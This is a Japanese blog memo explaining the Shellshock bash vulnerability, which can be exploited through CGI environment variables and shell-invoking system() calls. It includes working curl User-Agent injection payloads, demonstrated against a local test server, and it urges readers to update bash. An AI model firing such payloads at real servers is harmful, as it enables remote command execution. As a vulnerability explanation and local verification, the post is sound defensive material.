備忘録のため,内容の正当性については責任を持ちません。

少し出遅れた感があるが、bash の脆弱性 (CVE-2014-6271, CVE-2014-7169) の影響を受ける典型的な事例を示す。


この脆弱性の影響

特定の条件下で、攻撃者が OS に対して任意のコマンドを実行できる。詳細は参考ページなどを参照のこと。


結論

  • 第三者が「環境変数に任意の値を設定」して「bash を実行」できる状態だとやばい。
  • bash をアップデートしよう。

「環境変数に任意の値を設定」できる例

  • HTTP リクエストのヘッダに値を設定して、Perl/CGI スクリプトを実行する
    • HTTP_USER_AGENT

      などが手ごろ

  • PHP は CGI 版 PHP だと HTTP の環境変数がシェルの環境変数に入る模様

例えば curl なら

-A

オプションで User Agent の値を指定できる。


$ curl -A '() { :;}; echo vulnerable;' http://example.com/hoge.cgi

「bash が実行」される例

  • bash スクリプトを実行したとき
  • bash -c hoge

    のようなコマンドを実行したとき

  • /bin/sh

    実体が bash もしくは bash ベースになっている OS (確認した範囲だと CentOS や Mac) で、

    • シェルスクリプトを実行したとき
    • 各種言語で OS のシェルを呼び出す関数 (例: Perl の
      system()

      ) を含むスクリプトを実行したとき

Perl の

system()

関数は

;

|

>

などを含むときのみシェルが起動されるようだ。Python の

os.system()

は単一のコマンドでもシェルを介すようだ。


#!/usr/bin/perl
system("echo hoge");            # echo が直接実行されるからセーフ
system("echo hoge; echo fuga"); # sh -c 'echo hoge; echo fuga' として実行されるからアウト

/bin/sh

の実体が bash かどうかは

--version

オプションで確認できる。例えば OS X だと次のような結果になる。


$ /bin/sh --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.

このような環境で動いている Web サーバで、各種プログラミング言語の

system()

関数を使うような Web アプリケーションを動かしていると、特に危ない。

検証

以上を踏まえて検証してみる。環境は MAMP を用いる。

Perl/CGI スクリプト

test.cgi

:


#!/usr/bin/perl
system("echo hoge; echo fuga");

実行結果


$ curl -A '() { :;}; echo Content-type:text/plain; echo; /usr/bin/uname -a' http://localhost:8888/bash/test.cgi
Darwin MacBook-air 13.4.0 Darwin Kernel Version 13.4.0: Sun Aug 17 19:50:11 PDT 2014; root:xnu-2422.115.4~1/RELEASE_X86_64 x86_64

このように任意のコマンド (今回だと

uname

) を実行できた。

おわりに

今回は HTTP 経由の事例のみを挙げたが、他にも方法がありそうだ。例えば PHP の

mail()

や Ruby の Passenger、sendmail の

.forward

、dhcp クライアントなどが話題にあがっている。

何はともあれ早急に bash をアップデートした方が良さそうだ。

参考ページ

コメント

コメントする




CAPTCHA